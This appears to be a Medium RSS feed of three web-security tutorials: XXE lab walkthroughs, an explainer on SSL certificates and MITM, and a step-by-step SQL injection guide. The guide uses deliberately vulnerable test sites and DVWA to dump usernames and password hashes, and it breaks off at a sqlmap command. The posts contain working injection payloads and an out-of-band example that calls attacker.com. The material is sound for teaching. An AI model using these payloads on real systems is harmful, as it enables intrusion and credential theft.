<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by agzdamin on Medium]]></title>
        <description><![CDATA[Stories by agzdamin on Medium]]></description>
        <link>https://medium.com/@agazadeamin05?source=rss-16635ad7ad77------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by agzdamin on Medium</title>
            <link>https://medium.com/@agazadeamin05?source=rss-16635ad7ad77------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 03:10:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@agazadeamin05/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[XML & XML External Entity (XXE)]]></title>
            <link>https://medium.com/@agazadeamin05/xml-xml-external-entity-xxe-28227801726e?source=rss-16635ad7ad77------2</link>
            <guid isPermaLink="false">https://medium.com/p/28227801726e</guid>
            <category><![CDATA[xxe-injection]]></category>
            <category><![CDATA[xml]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[xxe-attack]]></category>
            <dc:creator><![CDATA[agzdamin]]></dc:creator>
            <pubDate>Mon, 30 Jun 2025 11:48:53 GMT</pubDate>
            <atom:updated>2025-06-30T11:48:53.949Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>You have a web application server and a server where this application stores its own data — RDBMSs (SQL, Oracle, etc.). In this case, if this web application server wants to share data with another web application, in what format will it share it? That means one of these servers is written in language X and the other in language Y, so these applications will use XML to exchange data and will use the same protocol (HTTP, HTTPS). Again, we emphasize that when we talk about application security, the most important thing is input tracing. The data you receive from the client is input, and the data one server receives from another server is also input. So, when a web application receives XML data from another web application, what will happen? This is the point we need to pay attention to in this gap.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWA_m-vjrLrdNDSg1tAFfw.png" /></figure><h4>XML data</h4><p><em>&lt;library&gt;<br> &lt;book&gt;<br> &lt;title&gt;1984&lt;/title&gt;<br> &lt;author&gt;George Orwell&lt;/author&gt;<br> &lt;/book&gt;<br> &lt;book&gt;<br> &lt;title&gt;Crime and Punishment&lt;/title&gt;<br> &lt;author&gt;Fyodor Dostoevsky&lt;/author&gt;<br> &lt;/book&gt;<br>&lt;/library&gt;</em></p><p>If we are talking about XML, first of all we need to know what the XML DOCTYPE Declaration is.<br>DTD defines the structure and legal elements and attributes of the XML document. That is,<br> let’s create a DTD named “Note” and show it on that.</p><p>&lt;!DOCTYPE note<br> [<br> &lt;!ELEMENT note (to,from,heading,body)&gt;<br> &lt;!ELEMENT to (#PCDATA)&gt;<br> &lt;!ELEMENT from (#PCDATA)&gt;<br> &lt;!ELEMENT heading (#PCDATA)&gt;<br> &lt;!ELEMENT body (#PCDATA)&gt;<br> ]&gt;</p><ul><li>Note: <strong>PCDATA</strong> → Parsed Character Data (processed by the parser).</li><li><strong>CDATA</strong> → Unparsed Character Data (special characters are preserved as they are).</li></ul><p>And after creating this DTD, we have a ready structure that we can use wherever necessary.</p><p>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br> &lt;!DOCTYPE note SYSTEM “Note.dtd”&gt;<br> &lt;note&gt;<br> &lt;to&gt;Tove&lt;/to&gt;<br> &lt;from&gt;Jani&lt;/from&gt;<br> &lt;heading&gt;Reminder&lt;/heading&gt;<br> &lt;body&gt;Don’t forget me this weekend!&lt;/body&gt;<br> &lt;/note&gt;</p><p>So, where does the vulnerability occur?<br> As we mentioned at the very beginning, a web application receives an XML data from the client or from a server and parses it.<br> During parsing, the first part that is checked is &lt;!DOCTYPE note SYSTEM &quot;Note.dtd&quot;&gt;, and thanks to the SYSTEM operator of the DOCTYPE property, it is possible to read any local file in the system, and this is mainly done using the <strong>entity capability</strong>.</p><p>An <strong>XML Entity</strong> is a structure used in XML documents to define reusable data or represent special characters. Entities are mainly of two types:</p><ol><li><strong>Internal Entity</strong> — Defined within the XML document.</li><li><strong>External Entity</strong> — Retrieved from an external file.</li></ol><p>We can use string expressions with entities. Usage:</p><p>&lt;!ENTITY writer “Donald Duck.”&gt;<br>&lt;!ENTITY copyright “Copyright W3Schools.”&gt;</p><h4>XML example:</h4><p>&lt;author&gt;&amp;writer;&amp;copyright;&lt;/author&gt;</p><p>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br>&lt;!DOCTYPE [&lt;!ENTITY writer “Donald Duck.”&gt;]&gt;<br>&lt;note&gt;<br> &lt;to&gt;Tove&lt;/to&gt;<br> &lt;from&gt;Jani&lt;/from&gt;<br> &lt;heading&gt;Reminder&lt;/heading&gt;<br> &lt;body&gt;Don’t forget me this weekend!&lt;/body&gt;<br>&lt;/note&gt;</p><p>We can also use the entity with the SYSTEM operator, and this creates an opportunity for the hacker:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*SjQK_5Xi_FNMzr2S6LoJUg.png" /></figure><p>And the SYSTEM operator allows us to create a connection to external resources. At this point, the XML parser sends a GET request to http://a.com/. This is the beginning of XXE.</p><p>Let’s explain it more deeply on labs.</p><h4>Our payloads:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*S5STft1dbM4qZ1YsNWU60A.png" /></figure><h3>LAB #1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*jocKJLJw-NMiiXWwVdBiuw.png" /></figure><p>In this lab, we are asked to exploit the XXE vulnerability in the “Check stock” function to read /etc/passwd.<br>So, our payload is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*CLIO1z-eXOtQwtUfL6eNqg.png" /></figure><p>Let’s take a look at the request sent from “Check stock”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*Debgj6E2kA6bmC0QDSih4A.png" /></figure><p>Here, whatever we write instead of “1”, it is returned to us in the error message.<br> So, we can use this error message to read /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SxreF7KudjhYc7YQ1DnmmQ.png" /></figure><p>After placing our payload into the XML data, we also write the entity name between the product IDs so that the parser returns it to us through the error during parsing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2s7X-FD85mCG3I1U2SYiBQ.png" /></figure><h4>LAB #2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*25PI5e5qzN7JQw5uGG7s8w.png" /></figure><p>In AWS, EC2 instances have access to the IP address http://169.254.169.254/.<br> When a request is sent to this IP from those instances, AWS itself responds — this is where critical information about the instance is stored.<br> In this lab, we are asked to collect the metadata of the instance using an SSRF attack.</p><h4>Our Payload</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*O4TeKKva88FNkZrtJsW_FQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MfFZ-6jteh4843eSrrdz-A.png" /></figure><p>The error returned “latest”, so we add “latest” as well and continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*aRfL472DYNL27wpVQoeSnQ.png" /></figure><p>This time, it returned “meta-data”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1pmCbaamVAGd4iQQMYqTRA.png" /></figure><p>And by continuing in this way, we complete the lab successfully.</p><blockquote>In conclusion, XML and XXE (XML External Entity) attacks pose serious security risks in web applications. These attacks can allow reading of sensitive system files or sending requests to internal servers when poorly configured XML parsers are used. Therefore, input tracing is critical in systems that process XML, and all incoming data must be strictly validated. To prevent vulnerabilities like XXE, external entities should be disabled in parser configurations, and real-world attack scenarios should be practiced through security labs.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28227801726e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding SSL Certificates, CAs, and MITM Attack Resistance]]></title>
            <link>https://medium.com/@agazadeamin05/understanding-ssl-certificates-cas-and-mitm-attack-resistance-a367e06845bb?source=rss-16635ad7ad77------2</link>
            <guid isPermaLink="false">https://medium.com/p/a367e06845bb</guid>
            <category><![CDATA[https]]></category>
            <category><![CDATA[mitm]]></category>
            <category><![CDATA[ssl-certificate]]></category>
            <category><![CDATA[ssl]]></category>
            <dc:creator><![CDATA[agzdamin]]></dc:creator>
            <pubDate>Fri, 30 May 2025 13:42:22 GMT</pubDate>
            <atom:updated>2025-05-30T13:43:41.235Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>This post explains how HTTPS connections are protected during Man-in-the-Middle (MITM) attacks and the role SSL certificates play in this protection. For a certificate to be trusted by browsers, it must be signed by a recognized Certificate Authority (CA). How can attackers try to break this trust — and why do they fail? By reading this, you’ll gain a deeper understanding of how SSL and the CA system ensure real-world security.</blockquote><p>When a user tries to visit a website by typing http://x.com, a Man-in-the-Middle (MITM) attacker can intercept the request since HTTP is not encrypted. The attacker receives the request and then forwards it to the actual website. The server responds with a 301 Moved Permanently redirect, instructing the browser to use HTTPS instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0SmHsuwLpUeFce8Cyc_zHg.png" /></figure><p>Now the attacker makes an HTTPS request to the real server, and when the user is redirected to <a href="https://x.com/">https://x.com</a>, the browser expects a valid SSL certificate. But here’s the catch: the request still goes through the attacker.</p><p>Can the attacker simply generate a fake SSL certificate for x.com? Technically yes, using a command like:</p><pre>openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365</pre><p>However, the browser will not trust this certificate unless it’s signed by a trusted Certificate Authority (CA). Legitimate websites like x.com purchase SSL certificates from these CAs. The CA doesn&#39;t just issue a certificate to anyone — they perform domain validation.</p><p>This validation often involves sending a verification email to the domain owner (e.g., admin@x.com) to confirm the requester has control over the domain. Unless the attacker can compromise this email address or DNS records, they cannot obtain a valid certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DF6_RKqGeIJEqq5loH5vOQ.png" /></figure><p>This system ensures the integrity of HTTPS connections. The real security lies not in SSL itself, but in the trust model of Certificate Authorities. That’s why CAs should not issue certificates without verifying domain ownership thoroughly.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a367e06845bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Developer's Nightmare: SQL Injection Vulnerabilities(in band sqli,blind sqli etc.)]]></title>
            <link>https://medium.com/@agazadeamin05/developers-nightmare-sql-injection-z%C9%99iflikl%C9%99ri-band-sqli-blind-sqli-v%C9%99-s-7e7c7c253e50?source=rss-16635ad7ad77------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e7c7c253e50</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[injection]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[agzdamin]]></dc:creator>
            <pubDate>Mon, 19 May 2025 19:52:47 GMT</pubDate>
            <atom:updated>2025-05-20T18:18:24.511Z</atom:updated>
            <content:encoded><![CDATA[<h3>Developer’s Nightmare: SQL Injection Vulnerabilities(in band sqli,blind sqli etc.)</h3><blockquote>We register on websites by entering a username and password, and then we log in using those credentials. So where are these credentials stored?<br> Of course, in the <strong>database</strong>. If the information we enter matches what’s in the database, we are granted access.<br> The tool that helps check if the entered data exists in the database is <strong>SQL (Structured Query Language)</strong>.<br> SQL is a language that allows us to manage data stored in databases. However, you cannot write a standalone program with SQL — that’s because it is <strong>not a programming language</strong>.</blockquote><h4>For example,</h4><p>Let’s say we want to log in with:</p><p><strong>Username:</strong> user<br><strong>Password:</strong> user1111</p><p>The SQL query behind this login would look like this:</p><blockquote>SELECT * FROM users WHERE username=’user’ AND password=’user1111&#39;</blockquote><p>Now, let’s see how <strong>SQL injection</strong> starts.<br> What happens if, instead of entering just user in the username field, we enter user&#39;?<br> This will cause a <strong>syntax error</strong>, because of the extra &#39; character:</p><blockquote>SELECT * FROM users WHERE username=’user’’ AND password=’user1111&#39;</blockquote><p>Now let’s see how we can <strong>exploit</strong> this.</p><p>If we enter this into the username field:</p><blockquote>user’ — -</blockquote><p>The query becomes:</p><blockquote>SELECT * FROM users WHERE username=’user’ — — AND password=’user1111&#39;</blockquote><p>Here, the part AND password=&#39;user1111&#39; is turned into a <strong>comment</strong> and ignored.<br> So, if a user with the username user exists, access will be granted — <strong>even without the correct password</strong>.</p><p>But what if we don’t know any username at all?</p><p>We can try this:</p><blockquote>username = ‘ OR ‘1’=’1</blockquote><p>This gives another <strong>syntax error</strong> due to unmatched &#39; characters:</p><blockquote>SELECT * FROM users WHERE username=’user’ OR ‘1’=’1&#39; AND password=’user1111&#39;</blockquote><p>We fix it again by commenting out the password part:</p><blockquote>SELECT * FROM users WHERE username=’user’ OR ‘1’=’1&#39; — — AND password=’user1111&#39;</blockquote><p>Now, the condition &#39;1&#39;=&#39;1&#39; is <strong>always true</strong>, so the login succeeds — even without knowing any real credentials.</p><h3>Types of SQL Injection:</h3><h4>1. In-band SQL Injection</h4><p>a) <strong>Error-based</strong></p><p>Information is obtained from error messages that should normally be hidden.</p><p>b) <strong>Union-based</strong></p><p>Allows combining multiple SELECT queries using the UNION operator:</p><blockquote>SELECT id, name FROM users<br>UNION<br>SELECT id, title FROM posts;</blockquote><p>If no errors appear, it <strong>doesn’t mean</strong> there is no SQLi.<br>In that case, there might be <strong>Blind SQL Injection</strong> — we must test further.</p><h4>2. Blind SQL Injection</h4><p>a) <strong>Time-based</strong></p><p>To test if SQLi exists, add this to the end of the URL:<br> &#39; AND SLEEP(5)--</p><p>If the page loads after 5 seconds, then it’s vulnerable to <strong>time-based SQLi</strong>.</p><p>b) <strong>Boolean-based</strong></p><p>This method uses logic like &#39; OR &#39;1&#39;=&#39;1&#39; to bypass authentication.</p><h4>3. Out-of-band SQL Injection</h4><p>In this case, the attacker uses their <strong>own domain</strong> (e.g., hacker.com) and forces the target site to send a request to it:</p><p><a href="http://target.com/profile?id=1&#39;;exec">http://target.com/profile?id=1&#39;;exec</a> xp_dirtree ‘\\attacker.com\abc’ —</p><p>The server executes the query and sends a request to attacker.com, where the attacker can collect the server&#39;s IP address, request time, and more via logs.</p><p>Now let’s demonstrate SQL Injection detection using this <a href="http://testphp.vulnweb.com/login.php">site</a>:</p><h4>Steps:</h4><ul><li><strong>Detecting SQL Injection</strong></li><li><strong>Finding the number of columns</strong></li><li><strong>Identifying the database name</strong></li><li><strong>Finding the table names</strong></li><li><strong>Finding the column names</strong></li></ul><p><strong><em>Step 1:</em></strong><em> Go to this page and enter a single quote at the end of the URL:<br> </em><a href="http://testphp.vulnweb.com/artists.php?artist=1&#39;"><em>http://testphp.vulnweb.com/artists.php?artist=1&#39;</em></a></p><p>If an <strong>error appears</strong>, it could be <strong>in-band SQL injection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*56K3IQRePWyD26esgc24zA.png" /></figure><p><strong><em>Step 2:</em></strong><em> Now, let’s find the number of columns.</em></p><p>To do this, we can use the <strong>ORDER BY</strong> clause.<br>Why? Because if you try to order by a column that doesn’t exist, the query will return an <strong>error</strong>.</p><p>Example:</p><blockquote><a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a> ORDER BY 1 — -<br><a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a> ORDER BY 2 — -<br><a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a> ORDER BY 3 — -<br><a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a> ORDER BY 4 — -</blockquote><p>On the <strong>fourth one</strong>, we get an <strong>error</strong>, which means there are only <strong>3 columns</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*5z1NIOg-6BUrwWc2WYXtMg.png" /></figure><p>Now, we test it using the UNION SELECT statement:</p><blockquote><a href="http://testphp.vulnweb.com/artists.php?artist=4">http://testphp.vulnweb.com/artists.php?artist=4</a> UNION SELECT 1,2,3 — -</blockquote><p>When we execute the query, we see that we can view data from the <strong>2nd and 3rd columns</strong>. So we’ll retrieve the data we want from those columns.</p><blockquote><strong>Step 3:</strong> Finding the Name of the Database</blockquote><p>As mentioned earlier, we can use the 2nd or 3rd column to extract data.</p><p>We use this query:</p><blockquote><a href="http://testphp.vulnweb.com/artists.php?artist=4">http://testphp.vulnweb.com/artists.php?artist=4</a> UNION SELECT 1, database(), 3 — -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*24g-qdoNapyCf0mzzJMEqw.png" /></figure><p>The result shows that the name of the database is <strong>acuart</strong>.</p><blockquote><strong>Step 4: </strong>Finding the Names of Tables in the Database</blockquote><p>There is a default system database that stores all table and column names — it is called information_schema.</p><p>To list the tables inside the acuart database, we use a query like this:</p><blockquote>SELECT table_name FROM information_schema.tables WHERE table_schema=’acuart’</blockquote><p>We inject it into our working query by placing table_name in one of the visible columns, like so:</p><blockquote><a href="http://testphp.vulnweb.com/artists.php?artist=4">http://testphp.vulnweb.com/artists.php?artist=4</a> UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema=’acuart’ — -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*pv3jEBI4FH-3Y1_NHM4KrA.png" /></figure><p>This will return <strong>one table name</strong>, but we want to see <strong>all table names</strong> together.</p><p>So we use the <strong>GROUP_CONCAT()</strong> function:</p><blockquote><a href="http://testphp.vulnweb.com/artists.php?artist=4">http://testphp.vulnweb.com/artists.php?artist=4</a> UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=’acuart’ — -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6y3Rz5nk1Lx5R3Ci60kt5w.png" /></figure><p>Of course, the table that interests us the most here is the <strong>users</strong> table.</p><p><strong><em>Step 5:</em></strong><em> Retrieving the Column Names</em></p><blockquote>SELECT column_name FROM information_schema.columns WHERE table_name=’users’</blockquote><p>We adapt it into the URL like this:</p><blockquote><a href="http://testphp.vulnweb.com/artists.php?artist=4">http://testphp.vulnweb.com/artists.php?artist=4</a> UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=’users’ — -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*YqgiTMbWOvn3J92fDe8k4Q.png" /></figure><p>This returns all the columns of the users table.<br> Among them, the ones we care about are typically <strong>uname</strong> and <strong>pass</strong>.</p><p>Now we want to extract the actual <strong>usernames and passwords</strong>.</p><p>We use this SQL query:</p><blockquote>SELECT uname, pass FROM users</blockquote><p>Adapted to the URL:</p><blockquote><a href="http://testphp.vulnweb.com/artists.php?artist=4">http://testphp.vulnweb.com/artists.php?artist=4</a> UNION SELECT 1, CONCAT(uname, pass), 3 FROM users — -</blockquote><p>With this, we can successfully retrieve the usernames and passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*c5Tz9H4ct1PJnbaQBxYhGA.png" /></figure><h4>Explaining Blind SQL Injection Using DVWA</h4><p>We’ll use<strong> </strong>DVWA (Damn Vulnerable Web Application) to demonstrate Blind SQL Injection.</p><p><strong><em>Step 1:</em></strong><em> Detecting SQL Injection</em></p><p>We start by testing the userid field by entering numbers starting from 1.<br> We observe that, for example, <strong>ID 6 does not exist</strong>, and no data is returned.</p><p>Then we try:</p><blockquote>6&#39; OR ‘1’=’1&#39; — -</blockquote><p>This returns a <strong>“True”</strong> result, indicating the application is vulnerable to SQLi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rkWh8l_94AsXyVUrf60XQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*q83CtlJqmk0YG0om4TTfPQ.png" /></figure><p><strong><em>Step 2:</em></strong><em> Finding the Length of the Database Name</em></p><p>Now, we try to find the length of the current database name.</p><p>To do that, we use the same field where we received the “True” response.<br>We try:</p><blockquote>1&#39; AND (SELECT LENGTH(database())) = 1 — -</blockquote><p>We increment the number until we get a <strong>“True”</strong> response.<br>Let’s say we get it at <strong>4</strong> — this means the database name has <strong>4 characters</strong>.</p><p><strong><em>Step 3:</em></strong><em> Finding the Database Name (Character by Character)</em></p><p>To guess the characters in the name, we use the following:</p><blockquote>1&#39; AND (SELECT ASCII(SUBSTRING(database(), 1, 1))) = 97 — -</blockquote><p>This way, we test each position in the database name using ASCII values.<br>However, this process takes <strong>too long manually</strong>, so instead, we use <strong>Burp Suite</strong>.</p><p><strong><em>Step 4:</em></strong><em> Automating with Burp Suite</em></p><p>In Burp Suite, we use the <strong>Intruder</strong> module to automate this process.</p><ul><li>We capture the request using <strong>Burp Proxy</strong>.</li><li>Then we send it to <strong>Intruder</strong>.</li><li>From there, we set the <strong>payload position</strong> and let Burp automatically test character ranges to extract the database name.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GnkO8q_kRycAgndi9UutAQ.png" /></figure><p>We need to identify each character of the database name individually.<br>For this, we select the <strong>“Cluster Bomb”</strong> attack type in <strong>Burp Suite Intruder</strong>.</p><p>Then, we configure <strong>two payload sets</strong>:</p><ul><li><strong>Payload set 1</strong>: Positions of the characters in the database name (e.g., from 1 to 4).</li><li><strong>Payload set 2</strong>: ASCII values of lowercase letters (since we assume the name is lowercase), which range from <strong>97 to 122</strong> in the ASCII table.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*JlihzKlH5d6wKakv3y18fw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*EedJdkRgZD9ePQ5tNftCNg.png" /></figure><p>We launch the attack,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*B89gyJCLk_OfhplIE6IoWw.png" /></figure><p>and in the <strong>“Status”</strong> column we look for responses with a <strong>200 status code</strong>, which indicates a successful (true) condition.</p><p>By matching each position with its correct ASCII value, we reconstruct the database name.<br>In our case, the database name is: <strong>dvwa</strong>.</p><p><strong><em>Step 5:</em></strong><em> Finding the Number of Tables</em></p><p>Next, we need to find <strong>how many tables</strong> exist in the database. We use this SQL condition:</p><blockquote>1&#39; AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) = 1 — -</blockquote><p>We increment the number until the query evaluates as <strong>true</strong>.<br>In our test, when the value is <strong>2</strong>, we get a true result — so there are <strong>2 tables</strong>.</p><p><strong><em>Step 6:</em></strong><em> Finding the Length of Each Table Name</em></p><p>Now, we want to determine the <strong>length of each table name</strong>.<br>We use this query:</p><blockquote>1&#39; AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) &gt;= 1 — -</blockquote><p><em>Here, </em><em>LIMIT 0,1 refers to the </em><strong><em>first table</em></strong><em>.</em></p><p>We increase the number gradually until the response becomes false.<br> In our case, when we try <strong>6</strong>, the condition becomes false — meaning the length is <strong>5</strong>.</p><p>For the <strong>second table</strong>, we use:</p><blockquote>LIMIT 1,1</blockquote><p>And we discover the length is <strong>9</strong>.</p><p><strong><em>Step 7 : </em></strong><em>Finding Table Names with Burp Suite Intruder</em></p><p>Now that we know the lengths, we can find the actual <strong>table names</strong>.</p><p>We use this query to test for possible first letters:</p><blockquote>1&#39; AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE ‘a%’ — -</blockquote><p>We send this request to <strong>Burp Suite Intruder</strong>, and use the <strong>Payload Positions</strong> to brute-force each character one by one until we reveal the full table names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*UH9Tco_AlOPFbVTLy7kLcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QY1QzeyZ-CQMsta3LlR7UQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*22lRRIE8Hd1SWyo7Li3VEA.png" /></figure><p>So, we find that the <strong>first letter</strong> of the table name is <strong>“u”</strong>.Next, we update our query like this to continue finding the table name:</p><blockquote>1&#39; AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE ‘ua%’ — -</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*iOJB4nSV7NW5hgVy1FvR5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ex8eZtQVZQvlP6iz89jEjQ.png" /></figure><p>We repeat this process step-by-step and eventually discover that the <strong>first table name is </strong><strong>users</strong>.</p><p>To find the <strong>second table name</strong>, we change the query to use LIMIT 1,1 and follow the same logic.<br> Using this method, we find the second table name is <strong>guestbook</strong>.</p><p>Of course, we are primarily interested in the users table.</p><p><strong><em>Step 8 :</em></strong><em> Finding the Number of Columns in the “users” Table.</em></p><p>Now, we need to find out how many columns the users table has.<br>For that, we use the following SQL query:</p><blockquote>1&#39; AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name=’users’)=1 — -</blockquote><p>We send this request to <strong>Burp Suite Intruder</strong> and determine the number of columns by incrementing the value until we receive a <strong>true</strong> response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*DF_yYD_5bMS4d1yDtmyp8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*NR2aKLBVVwfsnf07FUOmZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*aLYmxmdZWhL7Q32t3EFejA.png" /></figure><p>We find that the users table has 8 columns.</p><p><strong><em>Step 8 : </em></strong><em>Finding the Length of Each Column Name</em></p><p>Next, we determine the <strong>length of each column name</strong> using a similar approach to how we discovered the table name lengths.</p><p>The SQL query is:</p><blockquote>1&#39; AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name=’users’ AND table_schema=database() LIMIT 0,1) &gt;= 1 — -</blockquote><p>We change the LIMIT clause to 1,1, 2,1, 3,1, etc., to check the length of each column name one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CHWD8SLLdwDytMOqAk8nAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ua6WPeEzy7eVfSJBLXpyIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*DkLBJ-SuKXfBvJu_cQXD-w.png" /></figure><p>So, the length of the first column is 7 characters.After determining the lengths of the other columns using the same method, we move on to finding the <strong>actual column names</strong>.</p><p>To do that, we use the following SQL query:</p><blockquote>1&#39; AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name=’users’ LIMIT 0,1) LIKE ‘a%’ — -</blockquote><p>We send this to <strong>Burp Suite Intruder</strong> and use brute force to guess the column names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*-ADMQujhjgU43saRrB8wnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*Jc8N5neeE9rHsnzEMWrtWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*b1xv1jEksEbMVbIMo_EBDA.png" /></figure><p>We find that the first letter is <strong>“u”</strong>, and by continuing this process, we discover the full column name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*cMTWcdwI7XYbiP8V8r_tmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*YwJI118z3LHm3s3DZgK1sQ.png" /></figure><p>Following this method, we eventually identify the following column names:</p><ul><li>user_id</li><li>first_name</li><li>last_name</li><li>user</li><li>password</li><li>avatar</li><li>last_login</li><li>failed_login</li></ul><p>Of course, the ones that interest us the most are user and password.</p><p><strong><em>Step 9 :</em></strong><em> Extracting Username and Password</em></p><p>To retrieve values from the user column, we use a query like:</p><blockquote>5&#39; AND (SELECT user FROM users LIMIT 0,1) LIKE ‘a%’ — -</blockquote><p>We then brute-force the rest of the characters the same way:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hI9cbwgW-TJ-0VlZGOi8Ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*y4TJKZxAG1fRhw0Wxq5BUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0LdLD2jCUPhJNJkhiIIb7g.png" /></figure><p>We apply the same technique to find the <strong>password</strong>.</p><p>Eventually, we discover:</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password hash:</strong> 5f4dcc3b5aa765d61d8327deb882cf99</li></ul><h4>SQLMAP</h4><p><strong>SQLMap</strong> is an open-source penetration testing tool used to <strong>automatically detect and exploit SQL injection (SQLi) vulnerabilities</strong> in web applications.</p><p>Let’s now take a look at how SQLMap is used on the <strong>Vulnweb</strong> site.</p><p>First, we need to provide the URL and the parameter where we suspect a SQL injection might exist:</p><p><strong>SQLMap</strong> is an open-source penetration testing tool used to <strong>automatically detect and exploit SQL injection (SQLi) vulnerabilities</strong> in web applications.</p><p>Let’s now take a look at how SQLMap is used on the <strong>Vulnweb</strong> site.</p><p>First, we need to provide the URL and the parameter where we suspect a SQL injection might exist:</p><blockquote>sqlmap -u 